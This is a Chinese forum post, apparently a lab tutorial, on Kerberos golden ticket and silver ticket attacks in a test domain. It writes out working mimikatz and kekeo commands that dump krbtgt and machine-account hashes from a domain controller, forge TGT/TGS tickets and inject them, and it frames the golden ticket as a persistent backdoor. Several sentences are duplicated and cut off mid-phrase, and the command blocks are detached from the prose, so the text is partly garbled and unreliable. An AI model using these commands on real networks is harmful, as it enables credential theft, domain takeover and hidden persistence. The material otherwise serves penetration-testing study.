C 使 用 k r b t g t 用 户 的 H a s h 作 为 密 钥 进 行 加 密 ， 生 成 T G T 。 那 么 如 果 获 取 到 了 k r b t g t 的 H a s h 值 ， 不 就 可 以 伪 造 任 意 的 t g t 了 吗 。 因 为 因 为 k r b t g t 只 有 域 控 制 器 上 面 才 有 ， 所 以 使 用 黄 金 凭 据 意 味 着 你 之 前 拿 到 过 域 控 制 器 的 权 限 ， 黄 金 凭 据 可 以 理 解 为 一 个 后 门 。 只 有 域 控 制 器 上 面 才 有 ， 所 以 使 用 黄 金 凭 据 意 味 着 你 之 前 拿 到 过 域 控 制 器 的 权 限 ， 黄 金 凭 据 可 以 理 解 为 一 个 后 门 。 先 假 设 这 么 一 种 情 况 ， 原 先 已 拿 到 的 域 内 所 有 的 账 户 H a s h ， 包 括 k r b t g t 这 个 账 户 ， 由 于 有 些 原 因 导 致 你 对 域 管 权 限 丢 失 ， 但 好 在 你 还 有 一 个 普 通 域 用 户 权 限 ， 碰 巧 管 理 员 在 域 内 加 固 时 忘 记 重 置 k r b t g t 密 码 ， 基 于 此 条 件 ， 我 们 还 能 利 用 该 票 据 重 新 获 得 域 管 理 员 权 限 ， 利 用 利 用 k r b t g t 的 的 H A S H 值 可 以 伪 造 生 成 任 意 的 值 可 以 伪 造 生 成 任 意 的 T G T ( m i m i k a t z ) ， 能 够 绕 过 对 任 意 用 户 的 账 号 策 略 ， 让 用 ， 能 够 绕 过 对 任 意 用 户 的 账 号 策 略 ， 让 用 户 成 为 任 意 组 的 成 员 ， 可 用 于 户 成 为 任 意 组 的 成 员 ， 可 用 于 K e r b e r o s 认 证 的 任 何 服 务 认 证 的 任 何 服 务 。 攻 击 者 再 使 用 黄 金 票 据 进 行 票 据 传 递 攻 击 时 ， 通 常 要 掌 握 以 下 信 息 ： 需 要 伪 造 的 域 管 理 员 用 户 名 完 整 的 域 名 k e k e o           / /   进 入 k e k e o k e k e o   #   t g t : : a s k   / u s e r : d o u s e r   / d o m a i n : d e m o . c o m   / n t l m : b c 2 3 b 0 b 4 d 5 b f 5 f f 4 2 b c 6 1 f b 6 2 e 1 3 8 8 6 e / /   t g t : : a s k   / u s e r : 用 户 名   / d o m a i n : 域 名   / n t l m : N T L M   H a s h 在 k e k e o 中 执 行 以 下 命 令 ： k e k e o   #   k e r b e r o s : : p u r g e                 / /   清 除 内 存 中 的 其 他 票 据 k e k e o   #   k e r b e r o s : : p t t   T G T _ d o u s e r @ D E M O . C O M _ k r b t g t ~ d e m o . c o m @ D E M O . C O M . k i r b i           / /   导 入 票 据
域 S I D k r b t g t 的 N T L M   H a s h 首 先 ， 我 们 登 上 域 控 ， 上 传 m i m i k a t z ， 然 后 执 行 如 下 命 令 抓 取 k r b t g t 用 户 的 H a s h 值 并 获 取 域 s i d ： 得 到 k r b t g t 用 户 的 H a s h 为 ： 7 c 4 e d 6 9 2 4 7 3 d 4 b 4 3 4 4 c 3 b a 0 1 c 5 e 6 c b 6 3 ， 域 s i d 为 S - 1 - 5 - 2 1 - 9 7 9 8 8 6 0 6 3 - 1 1 1 1 9 0 0 0 4 5 - 1 4 1 4 7 6 6 8 1 0 然 后 ， 我 们 切 换 到 普 通 域 用 户 的 机 器 W i n d o w s   7 ， 用 m i m i k a t z 生 成 名 为 t i c k e t . k i r b i 的 T G T 凭 证 ， 用 户 名 为 a d m i n i s t r a t o r ： 生 成 T G T 凭 证 t i c k e t . k i r b i 成 功 ， 名 为 t i c k e t . k i r b i ， 然 后 使 用 m i m i k a t z 将 凭 证 t i c k e t . k i r b i 注 入 进 去 ： 此 时 查 看 当 前 会 话 中 的 票 据 ， 就 可 以 发 现 刚 刚 注 入 的 票 据 在 里 面 了 ： 到 此 ， 注 入 成 功 。 输 入 “ e x i t ” 退 出 m i m i k a t z ， 此 时 ， 攻 击 者 就 可 以 利 用 W i n d o w s   7 可 任 意 访 问 域 控 ， 可 以 使 用 n e t   u s e 进 行 登 录 域 成 员 主 机 ： W i n d o w s   7 （ 1 9 2 . 1 6 8 . 1 8 3 . 1 3 1 ） 域 名 ： D E M O . c o m 用 户 名 ： d o u s e r 域 控 制 器 ： 1 9 2 . 1 6 8 . 1 8 3 . 1 3 0 域 名 ： D E M O . c o m   用 户 名 ： a d m i n i s t r a t o r p r i v i l e g e : : d e b u g l s a d u m p : : l s a   / p a t c h                 / /   专 用 于 在 域 控 制 器 上 导 出 用 户 密 码 或 h a s h k e r b e r o s : : g o l d e n   / u s e r : a d m i n i s t r a t o r   / d o m a i n : D E M O . c o m   / s i d : S - 1 - 5 - 2 1 - 9 7 9 8 8 6 0 6 3 - 1 1 1 1 9 0 0 0 4 5 - 1 4 1 4 7 6 6 8 1 0   / k r b t g t : 7 c 4 e d 6 9 2 4 7 3 d 4 b 4 3 4 4 c 3 b a 0 1 c 5 e 6 c b 6 3   / t i c k e t : t i c k e t . k i r b i k e r b e r o s : : g o l d e n   / u s e r : 需 要 伪 造 的 域 管 理 员 用 户 名   / d o m a i n : d e m o . c o m   / s i d : 域 s i d   / k r b t g t :   k r b t g t 用 户 的 H a s h   / t i c k e t : t i c k e t . k i r b i k e r b e r o s : : p t t   t i c k e t . k i r b i k e r b e r o s : : p t t   < 票 据 文 件 > k e r b e r o s : : t g t d i r   W I N - E N S 2 V R 5 T R 3 N c $
也 可 以 使 用 p s e x e c ， w m i 等 方 法 进 行 远 程 执 行 命 令 了 ， 具 体 操 作 不 再 演 示 ， 相 比 m s 1 4 - 0 6 8 ， 黄 金 票 据 可 以 当 做 一 个 按 在 普 通 域 成 员 主 机 上 的 连 接 到 域 控 的 后 门 。 白 银 票 据 （ 白 银 票 据 （ S i l v e r   t i c k e t ） ） 白 银 票 据 不 同 于 黄 金 票 据 ， 白 银 票 据 的 利 用 过 程 是 伪 造 T G S ， 通 过 已 知 的 授 权 服 务 密 码 生 成 一 张 可 以 访 问 该 服 务 的 T G T 。 因 为 在 票 据 生 成 过 程 中 不 需 要 使 用 K D C ， 所 以 可 以 绕 过 域 控 制 器 ， 很 少 留 下 日 志 。 而 黄 金 票 据 在 利 用 过 程 中 由 K D C 颁 发 T G T ， 并 且 在 生 成 伪 造 的 T G T 得 2 0 分 钟 内 ， T G S 不 会 对 该 T G T 的 真 伪 进 行 效 验 。 白 银 票 据 依 赖 于 服 务 账 号 的 密 码 散 列 值 ， 这 不 同 于 黄 金 票 据 利 用 需 要 使 用 k r b t g t 账 号 的 密 码 哈 希 值 ， 因 此 更 加 隐 蔽 。 攻 击 者 要 利 用 白 银 票 据 进 行 票 据 传 递 攻 击 ， 需 要 掌 握 下 面 几 个 信 息 ： 域 名 域 S I D 目 标 服 务 器 的 F Q D N 可 利 用 的 服 务 服 务 账 号 的 N T L M   H a s h 要 伪 造 的 用 户 名 如 下 ， 我 们 使 用 白 银 票 据 伪 造 C I F S 服 务 权 限 ， C I F S 服 务 通 常 用 于 W i n d o w s 主 机 之 间 的 文 件 共 享 。 首 先 ， 登 录 域 控 ， 抓 取 机 器 账 号 的 H a s h ： 得 到 计 算 机 账 号 的 H a s h 为 ： f 0 9 5 4 d 0 0 b 2 1 d 3 3 8 a a 8 6 0 5 1 e c a 9 0 f 7 f 7 4 （ 注 意 是 W I N - E N S 2 V R 5 T R 3 N $ 用 户 的 N T L M - H a s h ， 不 是 A d m i n i s t r a t o r 用 户 ， 因 为 要 利 用 共 享 服 务 账 号 ） 然 后 切 换 到 普 通 域 用 户 机 器 W i n d o w s   7 中 ， 使 用 m i m i k a t z 生 成 伪 造 的 白 银 票 据 ： / s i d ： 域 的 S I D 值 / r c 4 ： s e r v e r 机 器 的 h a s h / s e r v i c e ： 可 利 用 的 服 务 ， 这 里 是 c i f s / u s e r ： 要 伪 造 的 用 户 名 ， 任 意 填 写 / t a r g e t ： 域 控 制 器 名 ， 即 F Q D N （ 全 称 ） p r i v i l e g e : : d e b u g s e k u r l s a : : l o g o n p a s s w o r d s k e r b e r o s : : g o l d e n   / d o m a i n : D E M O . c o m   / s i d : S - 1 - 5 - 2 1 - 9 7 9 8 8 6 0 6 3 - 1 1 1 1 9 0 0 0 4 5 - 1 4 1 4 7 6 6 8 1 0   / t a r g e t : W I N - E N S 2 V R 5 T R 3 N . D E M O . c o m   / r c 4 : f 0 9 5 4 d 0 0 b 2 1 d 3 3 8 a a 8 6 0 5 1 e c a 9 0 f 7 f 7 4   / s e r v i c e : c i f s   / u s e r : d o u s e r   / p t t
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理